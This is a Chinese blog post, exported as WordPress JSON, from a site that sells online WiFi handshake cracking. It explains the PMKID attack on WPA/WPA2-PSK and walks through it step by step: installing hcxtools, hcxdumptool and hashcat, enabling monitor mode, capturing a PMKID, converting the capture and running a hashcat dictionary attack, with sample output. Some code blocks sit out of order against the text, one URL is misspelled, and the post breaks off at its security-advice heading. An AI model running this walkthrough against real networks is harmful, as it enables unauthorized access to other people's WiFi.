{"id":3531,"date":"2024-03-25T00:44:56","date_gmt":"2024-03-24T16:44:56","guid":{"rendered":"http:\/\/www.ccwifi.cc\/blogs\/?p=3531"},"modified":"2024-03-25T00:44:56","modified_gmt":"2024-03-24T16:44:56","slug":"pmkid%e6%94%bb%e5%87%bb%e6%97%a0%e9%9c%80%e6%8f%a1%e6%89%8b%e5%8c%85%e7%a0%b4%e8%a7%a3wpaw4191","status":"publish","type":"post","link":"https:\/\/www.ccwifi.cc\/blogs\/2024\/03\/25\/pmkid%e6%94%bb%e5%87%bb%e6%97%a0%e9%9c%80%e6%8f%a1%e6%89%8b%e5%8c%85%e7%a0%b4%e8%a7%a3wpaw4191\/","title":{"rendered":"PMKID\u653b\u51fb \u65e0\u9700\u63e1\u624b\u5305\u7834\u89e3WPA\/WPA2 PSK"},"content":{"rendered":"<div>\n<p>\u5728\u7ebfwifi\u8dd1\u5305 \u91d1\u521a\u5305\u8dd1\u5305 cap\u8dd1\u5305 hccapx ewsa\u5728\u7ebf \u5c31\u6765 <strong><a href=\"https:\/\/ccwifi.cc\" target=\"_blank\" rel=\"noopener\">\u63e1\u624b\u5305\u8dd1\u5305<\/a><\/strong><\/p>\n<p>\u5404\u4f4d\u597d \u53c8\u89c1\u9762\u4e86 \u6211\u662f\u66f9\u64cd \u4eca\u5929\u7ed9\u5927\u5bb6\u5e26\u6765\u4e00\u7bc7\u65b0\u7684\u6559\u7a0b<\/p>\n<p>\u5e0c\u671b\u5404\u4f4d\u7ec6\u5fc3\u5b66\u4e60 \u4f4e\u8c03\u7528\u7f51<\/p>\n<\/div>\n<p><img decoding=\"async\" src=\"http:\/\/www.ccwifi.cc\/blogs\/wp-content\/uploads\/2024\/03\/1711298694309_0.png\" alt=\"\u63e1\u624b\u5305\u683c\u5f0f\u8f6c\u6362\u5de5\u5177\"><\/p>\n<p>0x01 \u5f15\u8a00\u25b8 2018\u5e748\u67084\u65e5\uff0c\u4e00\u4f4d\u5b89\u5168\u7814\u7a76\u5458\u5728hashcat\u8bba\u575b\u4e0a\u53d1\u5e03\u4e86\u4e00\u7bc7\u5e16\u5b50\uff0c\u58f0\u79f0\u5728\u7814\u7a76WPA3\u5b89\u5168\u6027\u65f6\u53d1\u73b0\u4e86\u4e00\u79cd\u5168\u65b0\u7684\u9884\u5171\u4eab\u5bc6\u94a5\u653b\u51fb\u65b9\u6cd5\u3002\u8fd9\u79cd\u65b9\u6cd5\u5229\u7528PMKID\uff08Pairwise Master Key Identifier\uff0c\u6210\u5bf9\u4e3b\u5bc6\u94a5\u6807\u8bc6\u7b26\uff09\u6765\u7834\u89e3WPA\/WPA2\u7684\u9884\u5171\u4eab\u5bc6\u94a5\uff0c\u5f15\u8d77\u4e86\u5168\u7403\u7684\u8f70\u52a8\u3002\u8fd9\u79cd\u201c\u65e0\u5ba2\u6237\u7aef\u653b\u51fb\u201d\u65b9\u6cd5\u7684\u51fa\u73b0\u610f\u5473\u7740\u66b4\u529b\u7834\u89e3\u4e0d\u518d\u9700\u8981\u6d3b\u8dc3\u5ba2\u6237\u7aef\u7684\u53c2\u4e0e\uff0c\u4f46\u53d7\u5f71\u54cd\u8303\u56f4\u76f8\u5bf9\u8f83\u5c0f\u3002<\/p>\n<p>0x02 \u653b\u51fb\u539f\u7406\u25b81.\u4ecb\u7ecd\u25b8 \u5728\u672c\u7cfb\u5217\u6587\u7ae0\u7684\u7b2c\u4e8c\u7bc7\u4e2d\uff0c\u6211\u4eec\u4ecb\u7ecd\u4e86WPA2-PSK\u7834\u89e3\u7684\u539f\u7406\uff0c\u5176\u4e2d\u9700\u8981EAPoL\u56db\u6b21\u63e1\u624b\u7684\u62a5\u6587\uff0c\u5e76\u901a\u8fc7\u6bd4\u8f83MIC\u503c\u6765\u5224\u65ad\u5bc6\u94a5\u662f\u5426\u6b63\u786e\u3002\u7136\u800c\uff0c\u8fd9\u79cd\u65b9\u6cd5\u7684\u6700\u5927\u533a\u522b\u5728\u4e8e\uff0c\u5b83\u4e0d\u9700\u8981EAPoL\u56db\u6b21\u63e1\u624b\u5305\u5c31\u80fd\u8fdb\u884cPSK\u7684\u66b4\u529b\u7834\u89e3\u3002\u901a\u8fc7PMKID\u8fdb\u884c\u65e0\u5ba2\u6237\u7aef\u66b4\u529b\u7834\u89e3PSK\u7684\u653b\u51fb\u65b9\u5f0f\u5e76\u6ca1\u6709\u9020\u6210\u7279\u522b\u5927\u7684\u5f71\u54cd\uff0c\u56e0\u4e3a\u5b83\u5229\u7528\u4e86RSN IE\uff08Robust Security Network Information Element\uff09\u3002\u6f0f\u6d1e\u7684\u53d1\u73b0\u8005\u79f0\u8fd9\u79cd\u653b\u51fb\u9002\u7528\u4e8e\u6240\u6709\u652f\u6301\u6f2b\u6e38\u529f\u80fd\u7684802.11i\/p\/q\/r\u7f51\u7edc\uff0c\u800c\u8fd9\u4e9b\u7279\u6027\u901a\u5e38\u5728\u9ad8\u7ea7\u8def\u7531\u5668\u4e0a\u5f97\u5230\u652f\u6301\u3002\u6839\u636e360\u5b89\u5168\u7814\u7a76\u9662\u7684\u7edf\u8ba1\uff0c\u53d7\u6b64\u6f0f\u6d1e\u5a01\u80c1\u7684\u5bb6\u5ead\u7f51\u7edc\u548c\u5199\u5b57\u697c\u4e2d\u7684Wi-Fi\u7f51\u7edc\u5b9e\u9645\u4e0a\u4e0d\u52303%\u3002\u8fd9\u79cd\u653b\u51fb\u88ab\u79f0\u4e3a\u201c\u65e0\u5ba2\u6237\u7aef\u201d\u653b\u51fb\uff0c\u662f\u56e0\u4e3a\u653b\u51fb\u8005\u76f4\u63a5\u4e0eAP\u8fdb\u884c\u901a\u4fe1\u3002<\/p>\n<p>2.RSN\u25b8 RSN IE\u662f\u5f3a\u5065\u5b89\u5168\u7f51\u7edc\u4fe1\u606f\u5143\u7d20\uff08Robust Security Network Information Element\uff09\u7684\u7b80\u79f0\uff0cRSN\u8981\u6c42\u5fc5\u987b\u4f7f\u7528AES\u52a0\u5bc6\u4ee5\u589e\u5f3a\u5b89\u5168\u6027\uff0c\u5b83\u662f802.11i\u7684\u4e00\u4e2a\u5b89\u5168\u6807\u51c6\u3002\u57282004\u5e74IEEE 802.11i\u4fee\u8ba2\u5b8c\u6210\u540e\uff0cWiFi\u8054\u76df\u63a8\u51fa\u4e86WPA2\uff0cWPA2\u7684\u52a0\u5bc6\u4eceTKIP\u66f4\u65b0\u4e3aAES\uff0c\u8fd9\u662f\u56e0\u4e3aRSN\u7684\u8981\u6c42\u3002\u4e3a\u4e86\u589e\u5f3a\u5b89\u5168\u6027\uff0cIEEE 802.11i\u4e3aRSN\u63d0\u4f9b\u4e86\u4e24\u4e2a\u91cd\u8981\u7684\u534f\u8bae\uff1a\u56db\u6b21\u63e1\u624b\u548c\u4e3b\u5bc6\u94a5\u63e1\u624b\u3002WPA\/WPA2\u4e2d\u7684\u56db\u6b21\u63e1\u624b\u5c31\u662f\u57fa\u4e8e802.11i\u7684\uff0c\u503c\u5f97\u4e00\u63d0\u7684\u662f\uff0cWPA\u5b9e\u9645\u4e0a\u662f802.11i\u7684\u4e00\u4e2a\u8349\u6848\u6807\u51c6\uff0c\u5728802.11i\u4fee\u8ba2\u6210\u529f\u540e\uff0cWiFi\u8054\u76df\u5bf9\u5176\u8fdb\u884c\u4e86\u5347\u7ea7\u5e76\u6b63\u5f0f\u63a8\u51faWPA2\uff0c\u56e0\u6b64WPA\u4e5f\u4f7f\u7528\u4e86\u56db\u6b21\u63e1\u624b\u3002<\/p>\n<p>RSN IE\u7684\u6700\u5927\u957f\u5ea6\u4e3a255\u5b57\u8282\uff0c\u5176\u62a5\u6587\u7ed3\u6784\u5982\u4e0b\uff1a<\/p>\n<p>RSN IE\u662f802.11\u7ba1\u7406\u5e27\u4e2d\u7684\u4e00\u4e2a\u53ef\u53d8\u957f\u5ea6\u7684\u53ef\u9009\u5b57\u6bb5\uff0c\u5b58\u5728\u4e8e\u4ee5\u4e0b\u7c7b\u578b\u7684\u5e27\u4e2d\uff1a\u5982\u679c\u60f3\u901a\u8fc7wireshark\u6293\u5305\uff0c\u53ef\u4ee5\u4f7f\u7528\u4ee5\u4e0b\u8fc7\u6ee4\u5668\u6765\u6355\u83b7\u8fd94\u79cd\u7ba1\u7406\u5e27\uff1a<\/p>\n<p>wlan.fc.type == 0 &amp;&amp; (wlan.fc.type<em>subtype == 0x00 wlan.fc.type<\/em>subtype == 0x00 wlan.fc.type<em>subtype == 0x05 wlan.fc.type<\/em>subtype == 0x08)<\/p>\n<p>3.PMKID\u25b8 PMKID\u5b58\u5728\u4e8eRSN Information\u4e2d\u7684RSN Capabilities\u5b57\u6bb5\u5185\u3002\u8be5\u6f0f\u6d1e\u7684\u53d1\u73b0\u8005\u5728hashcat\u8bba\u575b\u7684\u539f\u6587\u4e2d\u8d34\u51fa\u4e86PMKID\u7684wireshark\u62a5\u6587\u622a\u56fe\uff1a<\/p>\n<p>PMKID\u662f\u901a\u8fc7\u5bf9PMK\u7b49\u8fdb\u884c\u54c8\u5e0c\u8ba1\u7b97\u5f97\u5230\u7684\u4e00\u4e2a\u54c8\u5e0c\u503c\uff0c\u5176\u8ba1\u7b97\u516c\u5f0f\u4e3a\uff1a<\/p>\n<p>PMKID = HMAC-SHA1-128(PMK, \u201cPMK Name\u201d MAC<em>AP MAC<\/em>STA)<\/p>\n<p>\u8ba9\u6211\u4eec\u518d\u6b21\u56de\u987eEAPoL\u56db\u6b21\u63e1\u624b\uff1a\u5728\u5b8c\u6210\u94fe\u8def\u5173\u8054\u540e\u5f00\u59cb\u56db\u6b21\u63e1\u624b\uff0c\u53ef\u4ee5\u770b\u5230\uff0c\u7b2c\u4e00\u4e2a\u643a\u5e26EAPoL Key\u6d88\u606f\u7684\u662fAP\uff1a<\/p>\n<pre><code>git <span>clone<\/span> https:\/\/github.con\/ZerBea\/hcxtools.git<br>make<br>make install<\/code><\/pre>\n<p>\u56e0\u6b64\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u4e0eAP\u5f00\u59cb\u56db\u6b21\u63e1\u624b\uff0c\u5728\u56db\u6b21\u63e1\u624b\u7684Message 1\u4e2d\u83b7\u53d6\u6240\u9700\u7684\u6570\u636e\uff0c\u7136\u540e\u8fdb\u884c\u54c8\u5e0c\u7206\u7834\uff0c\u800c\u4e0d\u9700\u8981\u5176\u4ed6\u5ba2\u6237\u7aef\u7684\u53c2\u4e0e\u3002<\/p>\n<p>4.IEEE 802.11r\u25b8 \u8be5\u653b\u51fb\u65b9\u6cd5\u9002\u7528\u4e8e\u652f\u6301\u6f2b\u6e38\u7684WPA\/WPA2-PSK\u8ba4\u8bc1\u7684Wi-Fi\u7f51\u7edc\u3002\u6240\u8c13\u6f2b\u6e38\u662f\u4e00\u79cd\u652f\u6301\u4ece\u4e00\u4e2a\u57fa\u7ad9\u5feb\u901f\u201c\u65e0\u7f1d\u201d\u5207\u6362\u5230\u53e6\u4e00\u4e2a\u57fa\u7ad9\u7684\u6280\u672f\u3002\u4e3e\u4e2a\u4f8b\u5b50\uff0c\u5047\u8bbe\u5750\u5728\u9ad8\u94c1\u4e0a\u6253\u4e8610\u5206\u949f\u7684\u7535\u8bdd\uff0c\u9ad8\u94c1\u7684\u901f\u5ea6\u662f300km\/h\uff0c\u90a3\u4e48\u8fd910\u5206\u949f\u9ad8\u94c1\u884c\u8d70\u4e8650\u516c\u91cc\uff0c\u4e00\u4e2a4G\u7684\u57fa\u7ad9\u7684\u4fe1\u53f7\u8986\u76d6\u8303\u56f4\u53ea\u6709\u51e0\u767e\u7c73\uff0c\u5bf9\u4e8e50\u516c\u91cc\u80af\u5b9a\u5207\u6362\u4e86\u5f88\u591a\u4e2a\u57fa\u7ad9\uff0c\u4f46\u6392\u9664\u4fe1\u53f7\u4e0d\u597d\u7684\u60c5\u51b5\u4e0b\u7535\u8bdd\u5e76\u6ca1\u6709\u53d1\u751f\u5361\u987f\uff0c\u901a\u8bdd\u8005\u4e5f\u6beb\u65e0\u611f\u89c9\uff0c\u8fd9\u5c31\u662f\u6f2b\u6e38\u3002\u66f4\u591a\u76f8\u5173\u77e5\u8bc6\u8bf7\u53c2\u8003CCIE Wireless\u6216CWSP\u8ba4\u8bc1\u76f8\u5173\u6587\u6863\u3002<\/p>\n<p>0x03 \u653b\u51fb\u5b9e\u73b0\u25b8 \u73af\u5883\u4ecb\u7ecd\uff1a1.\u5de5\u5177\u5b89\u88c5\u25b8 \u8fd9\u79cd\u653b\u51fb\u9700\u8981\u4f7f\u7528hcxtools\/hcxdumptol\/hashcat\u8fd9\u4e09\u4e2a\u5de5\u5177\u3002\u2460 \u5b89\u88c5hcxtools\u25b8<\/p>\n<pre><code>git clone https:\/\/github.com\/ZerBea\/hcxdumptool.git<br>make<br>make install<\/code><\/pre>\n<pre><code>git clone https:\/\/github.com\/hashcat\/hashcat.git<br>make <br>make install<\/code><\/pre>\n<pre><code>airmon-ng start wlan0<\/code><\/pre>\n<p>\u2461 \u5b89\u88c5hcxdumptool\u548cpaintext\u2462 \u5b89\u88c5hashcat\u3002\u5728kali linux\u4e0b\uff0chashcat\u662f\u81ea\u5e26\u7684\uff0c\u5b89\u88c5\u65b9\u5f0f\u5982\u4e0b\uff1a<\/p>\n<pre><code>hcxdumptool -o \/root\/y1ng.pcapng -i wlan0mon --enable_status=1<\/code><\/pre>\n<pre><code>16:52:59 4 b0febdd69882  10bd18082864 PMKID:b418e4f858c1b0c37662a8d5042014f2 (Cisco_GEM-LOVE.COM)<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/www.ccwifi.cc\/blogs\/wp-content\/uploads\/2024\/03\/1711298694309_4.png\" alt=\"\u63e1\u624b\u5305\u683c\u5f0f\u8f6c\u6362\u5de5\u5177\"><img decoding=\"async\" src=\"http:\/\/www.ccwifi.cc\/blogs\/wp-content\/uploads\/2024\/03\/1711298694309_5.png\" alt=\"\u63e1\u624b\u5305\u683c\u5f0f\u8f6c\u6362\u5de5\u5177\"><\/p>\n<p>\u4f7f\u7528hcxdumptool\u6355\u83b7PMKID\u3002\u5728\u6700\u4e0b\u9762\u53ef\u4ee5\u770b\u5230\u8fd9\u6837\u7684\u6d88\u606f\uff0c\u8868\u793a\u6210\u529f\u83b7\u53d6\u5230PMKID\uff1a<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.ccwifi.cc\/blogs\/wp-content\/uploads\/2024\/03\/1711298694309_3.png\" alt=\"\u63e1\u624b\u5305\u683c\u5f0f\u8f6c\u6362\u5de5\u5177\"><\/p>\n<p>3.\u683c\u5f0f\u8f6c\u6362\u25b8 \u8fd9\u4e00\u6b65\u7684\u76ee\u7684\u662f\u5c06\u521a\u521a\u6355\u83b7\u7684pccap\u5305\u8f6c\u6362\u6210hashcat\u53ef\u7528\u7684\u683c\u5f0f\uff0c\u4f7f\u7528hcxpcaptool\uff1a<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.ccwifi.cc\/blogs\/wp-content\/uploads\/2024\/03\/1711298694309_7.png\" alt=\"\u63e1\u624b\u5305\u683c\u5f0f\u8f6c\u6362\u5de5\u5177\"><\/p>\n<p>\u8fd9\u4e2a16800\u53ef\u4ee5\u901a\u8fc7hashcat &#8211;help\u67e5\u770b\u5e2e\u52a9\uff0c\u627e\u5230\u5bf9\u5e94\u7684hash\u7c7b\u578b\uff1a<\/p>\n<p>16800 WPA-PMKID-PBKDF2 Network Protocols<\/p>\n<p>\u5bfc\u51fa\u768416800\u683c\u5f0f\u7684\u6587\u4ef6\u6bcf\u4e2aPMKID\u5360\u4e00\u884c\uff0c\u6253\u5f00\u6587\u4ef6\u5982\u4e0b\u6240\u793a\uff1a<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.ccwifi.cc\/blogs\/wp-content\/uploads\/2024\/03\/1711298694309_1.png\" alt=\"\u63e1\u624b\u5305\u683c\u5f0f\u8f6c\u6362\u5de5\u5177\"><\/p>\n<p>\u7528\u4e09\u4e2a\u661f\u53f7\u5c06\u5176\u5206\u6210\u56db\u4e2a\u90e8\u5206\uff0c\u5206\u522b\u8868\u793a\uff1a<\/p>\n<p>4.\u66b4\u529b\u7834\u89e3\u25b8 \u73b0\u5728\u53ef\u4ee5\u4f7f\u7528hashcat\u8fdb\u884c\u7834\u89e3\u4e86\u3002\u6211\u4f7f\u7528\u4e86\u4e00\u4e2a\u5305\u542b100\u4e2a\u5bc6\u7801\u7684\u5b57\u5178\u6765\u6f14\u793a\uff0c\u5176\u4e2d\u5305\u542b\u4e86\u6211\u7684\u6b63\u786e\u5bc6\u7801\uff1a<\/p>\n<pre><code>-w, --workload-profile  Num  Enable a specific workload profile, see pool below  -w 3<br><br>- [ Workload Profiles ] -<br><br>#  Performance  Runtime  Power Consumption  Desktop Impact<br><br>===+=============+=========+===================+=================<br>1  Low  2 ms  Low  Minimal<br>2  Default  12 ms  Economic  Noticeable<br>3  High  96 ms  High  Unresponsive<br>4  Nightmare  480 ms  Insane  Headless<br><br>-a, --attack-mode  Num  Attack-mode, see references below  -a 3<br><br>- [ Attack Modes ] -<br><br>#  Mode<br><br>===+======<br>0  Straight<br>1  Combination<br>3  Brute-force<br>6  Hybrid Wordlist + Mask<br>7  Hybrid Mask + Wordlist<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/www.ccwifi.cc\/blogs\/wp-content\/uploads\/2024\/03\/1711298694309_8.png\" alt=\"\u63e1\u624b\u5305\u683c\u5f0f\u8f6c\u6362\u5de5\u5177\"><\/p>\n<p>\u547d\u4ee4\u5982\u4e0b\uff1a<\/p>\n<p>hashcat -m 16800 y1ng.16800 -a 0 -w 3 pass.txt \u2013force<\/p>\n<p>\u76f8\u5173\u53c2\u6570\u7684\u89e3\u91ca\uff1a&#8211;force\u662f\u53ef\u9009\u53c2\u6570\uff0c\u7528\u4e8e\u5ffd\u7565\u4e00\u4e9b\u8b66\u544a\u3002\u5982\u679c\u51fa\u73b0\u8b66\u544a\uff0c\u53ef\u4ee5\u52a0\u4e0a\u8be5\u53c2\u6570\u3002\u5982\u679c\u7834\u89e3\u6210\u529f\uff0c\u5c06\u83b7\u5f97\u9884\u5171\u4eab\u5bc6\u94a5\u3002<\/p>\n<p>0x04 \u5b89\u5168\u5efa\u8bae\u25b8 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